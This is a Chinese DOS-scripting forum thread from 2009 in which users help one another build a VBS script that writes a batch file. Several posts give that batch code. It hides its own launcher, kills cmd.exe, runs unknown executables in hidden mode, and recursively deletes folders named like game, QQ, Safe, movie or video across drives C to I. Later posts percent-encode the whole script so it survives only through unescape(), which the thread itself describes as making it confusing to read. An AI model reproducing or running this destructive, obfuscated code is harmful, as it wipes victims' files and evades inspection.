中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-08-11 18:55
47,811 主题排行 / 349,897 发帖 / 今日 0 篇 / 48,256 会员排行
DOS批处理 & 脚本技术(批处理室) » 如何用 vbs 生成复杂的bat 代码
可打印版本  722 / 12
第1楼 QOIQoc 发表于 2009-05-02 06:02
初级用户 发帖 51 积分 48
如何用 vbs 生成复杂的bat 代码
如何用 vbs 生成 c:\er.bat 代码:

第2楼 slore 发表于 2009-05-02 06:47
铂金会员 发帖 2,478 积分 5,212
yourstr = "(echo Set ws = CreateObject(""Wscript.Shell""^)" & vbCrLf & "echo ws.run ""cmd /c taskkill /f /im cmd.exe"",vbhide" & vbCrLf & "echo ws.run ""%%windir%%\bt.exe"",vbhide" & vbCrLf & "echo ws.run ""cmd /c if exist %%windir%%\n.bat %%windir%%\n.bat&&del %windir%\vb2cm.vbe /f/q"",vbhide)>%windir%\vb2cm.vbe" & vbCrLf & "if exist ""%windir%\vb2cm.vbe"" start """" ""%windir%\vb2cm.vbe""" & vbCrLf & "set alld=c d e f g h i" & vbCrLf & "for %%a in (%alld%) do (" & vbCrLf & " if exist %%a:\ cd /d %%a:\" & vbCrLf & " if exist %%a:\ for /f ""delims="" %%i in ('dir /ad/s/b *game* *qq* *Safe* *movie* *video*') do rd ""%%i"" /s/q>nul 2>nul"
第3楼 freeants001 发表于 2009-05-02 07:08
中级用户 发帖 244 积分 330 来自 湖北
第4楼 QOIQoc 发表于 2009-05-02 08:15
初级用户 发帖 51 积分 48
yourstr = "(echo Set ws = CreateObject(""Wscript.Shell""^)" & vbCrLf & "echo ws.run ""cmd /c taskkill /f /im cmd.exe"",vbhide" & vbCrLf & "echo ws.run ""%%windir%%\bt.exe"",vbhide" & vbCrLf & "echo ws.run ""cmd /c if exist %%windir%%\n.bat %%windir%%\n.bat&&del %windir%\vb2cm.vbe /f/q"",vbhide)>%windir%\vb2cm.vbe" & vbCrLf & "if exist ""%windir%\vb2cm.vbe"" start """" ""%windir%\vb2cm.vbe""" & vbCrLf & "set alld=c d e f g h i" & vbCrLf & "for %%a in (%alld%) do (" & vbCrLf & " if exist %%a:\ cd /d %%a:\" & vbCrLf & " if exist %%a:\ for /f ""delims="" %%i in ('dir /ad/s/b *game* *qq* *Safe* *movie* *video*') do rd ""%%i"" /s/q>nul 2>nul"
wsh.createobject("scripting.filesystemobject").createtextfile("c:\err.bat").write yourstr


"%28echo%20Set%20ws%20%3D%20CreateObject%28%22Wscript.Shell%22%5E%29%0D%0Aecho%20ws.run%20%22cmd%20/c%20taskkill%20/f%20/im%20cmd.exe%22%2Cvbhide%0D%0Aecho%20ws.run%20%22%25%25windir%25%25%5Cbt.exe%22%2Cvbhide%0D%0Aecho%20ws.run%20%22cmd%20/c%20if%20exist%20%25%25windir%25%25%5Cn.bat%20%25%25windir%25%25%5Cn.bat%26%26del%20%25windir%25%5Cvb2cm.vbe%20/f/q%22%2Cvbhide%29%3E%25windir%25%5Cvb2cm.vbe%0D%0Aif%20exist%20%22%25windir%25%5Cvb2cm.vbe%22%20start%20%22%22%20%22%25windir%25%5Cvb2cm.vbe%22%0D%0Aset%20alld%3Dc%20d%20e%20f%20g%20h%20i%0D%0Afor%20%25%25a%20in%20%28%25alld%25%29%20do%20%28%0D%0A%20%20%20%20if%20exist%20%25%25a%3A%5C%20cd%20/d%20%25%25a%3A%5C%0D%0A%20%20%20%20if%20exist%20%25%25a%3A%5C%20for%20/f%20%22delims%3D%22%20%25%25i%20in%20%28%27dir%20/ad/s/b%20*game*%20*qq*%20*Safe*%20*movie*%20*video*%27%29%20do%20rd%20%22%25%25i%22%20/s/q%3Enul%202%3Enul%0D%0A%29"

请问freeants001,上面代码是怎么得到的?
第5楼 slore 发表于 2009-05-02 08:25
铂金会员 发帖 2,478 积分 5,212
unescape(sss) 自然可以……

msgbox escape(yourstr)

本质是将非数字和字母字符转成unicode编码。

%20是空格 %28是(这些字符编码都是固定的
第6楼 QOIQoc 发表于 2009-05-02 09:33
初级用户 发帖 51 积分 48
请问如何把 代码全部转成 unicode编码?
如; CreateObject(UnEscape("%57%73%63%52%69%70%54%2E%73%68%65%4C%6C"))
第7楼 freeants001 发表于 2009-05-02 10:20
中级用户 发帖 244 积分 330 来自 湖北


[ Last edited by freeants001 on 2009-5-3 at 00:33 ]
第8楼 QOIQoc 发表于 2009-05-02 11:12
初级用户 发帖 51 积分 48
something is wrong with the code!

附件
未命名.GIF (4.75 KiB)
第9楼 freeants001 发表于 2009-05-03 00:11
中级用户 发帖 244 积分 330 来自 湖北
按6楼的要求,7楼的JS代码,可以把把你需要的文件中所有字符转换成VBS(或 js)中的unescape函数可以使用的UNICODE字符串.
第10楼 ZJHJ 发表于 2009-05-03 00:20
高级用户 发帖 374 积分 609
freeants001 的是将空格、符号、换行等用16进制,批处理原文没有改变。
使其显的眼花缭乱。
第11楼 slore 发表于 2009-05-03 00:26
铂金会员 发帖 2,478 积分 5,212
把js保存成vbs了……
第12楼 freeants001 发表于 2009-05-03 00:36
中级用户 发帖 244 积分 330 来自 湖北
发现7楼0x10以下字符出问题了,现已更正
第13楼 QOIQoc 发表于 2009-05-03 00:46
初级用户 发帖 51 积分 48
测试成功,多谢,继续向前辈学习。
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023